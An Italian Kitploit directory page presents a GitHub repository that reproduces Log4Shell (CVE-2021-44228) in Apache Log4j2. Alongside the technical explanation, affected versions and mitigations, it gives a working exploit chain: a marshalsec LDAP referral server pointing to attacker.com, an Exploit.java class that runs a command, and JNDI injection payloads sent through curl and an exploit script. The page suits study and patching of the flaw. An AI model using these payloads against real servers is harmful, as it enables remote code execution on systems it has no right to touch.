Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE | Kitploit
Strumenti/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneStrumento di Accesso Remoto
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
27 giorni faNon ancora revisionato

CVE-2021-44228 — Log4Shell: Esecuzione di codice remota in Apache Log4j2

CVSS 10.0 CRITICA | CWE-502: Deserializzazione di dati non attendibili | CWE-917: Neutralizzazione impropria per l'iniezione di Expression Language

Panoramica

Log4Shell (CVE-2021-44228) è probabilmente la vulnerabilità più grave degli anni 2020, che colpisce Apache Log4j2 versioni 2.0 fino a 2.14.1. Scoperta da Chen Zhaojun di Alibaba Cloud Security nel novembre 2021 e divulgata pubblicamente il 9 dicembre 2021, consente l'esecuzione di codice remota non autenticata su centinaia di milioni di server in tutto il mondo.

La vulnerabilità deriva dalla funzionalità di lookup JNDI (Java Naming and Directory Interface) di Log4j2, che consente stringhe di lookup arbitrarie come ${jndi:ldap://attacker.com/a} nei messaggi di log. Quando una stringa controllata dall'utente contenente un tale pattern viene registrata, Log4j2 esegue il lookup JNDI, che può caricare ed eseguire classi Java remote.

Dettagli tecnici

Causa principale

Log4j2 ha introdotto una funzionalità chiamata "Message Lookup" che sostituisce i pattern ${...} nei messaggi di log con valori provenienti da varie fonti (JNDI, variabili d'ambiente, proprietà di sistema, ecc.). La classe JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) chiama InitialContext.lookup() su stringhe controllate dall'attaccante senza una corretta sanitizzazione.

root@kitploit:~
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

Il metodo lookup() delega a javax.naming.InitialContext.lookup(), che può caricare oggetti remoti da server LDAP, RMI, DNS o CORBA.

Flusso di attacco

root@kitploit:~
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM

Versioni interessate

Riproduzione

Configurazione (server LDAP Referral)

Usa marshalsec per avviare un server LDAP dannoso:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Compilazione della classe Exploit

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

Attivazione

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

Oppure tramite header HTTP:

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

Codice PoC

Lo exploit.py incluso fornisce:

  • Generazione di payload per iniezione JNDI (varianti LDAP, RMI, DNS)
  • Iniezione negli header HTTP per target comuni
  • Modalità server LDAP referral automatizzata
  • Collaborazione con marshalsec o standalone

Mitigazione

Riferimenti

  • NVD: CVE-2021-44228
  • Avviso di sicurezza Apache Log4j
  • Guida CISA su Log4j
  • Analisi di Log4Shell di Lunasec
Scarica lo strumento
VersioneStato
Log4j 2.0 – 2.14.1Vulnerabile
Log4j 2.15.0-rc1Fix parziale (bypass CVE-2021-45046)
Log4j 2.15.0Fix limitato (JNDI disabilitato per impostazione predefinita, lookup limitati)
Log4j 2.16.0JNDI disabilitato, Message Lookups rimossi
Log4j 2.17.0Fix finale per 2.x (CVE-2021-44832)
Log4j 1.xNon direttamente interessata (codebase diverso)
ApproccioDettagli
Aggiorna Log4jAggiorna a 2.17.0+ (2.x) o 2.12.4+ (Java 7)
Flag JVM-Dlog4j2.formatMsgNoLookups=true
Rimuovi JndiLookupzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Regole WAFBlocca i pattern ${jndi: nelle richieste
Controlli di reteBlocca il traffico LDAP/RMI in uscita verso server non attendibili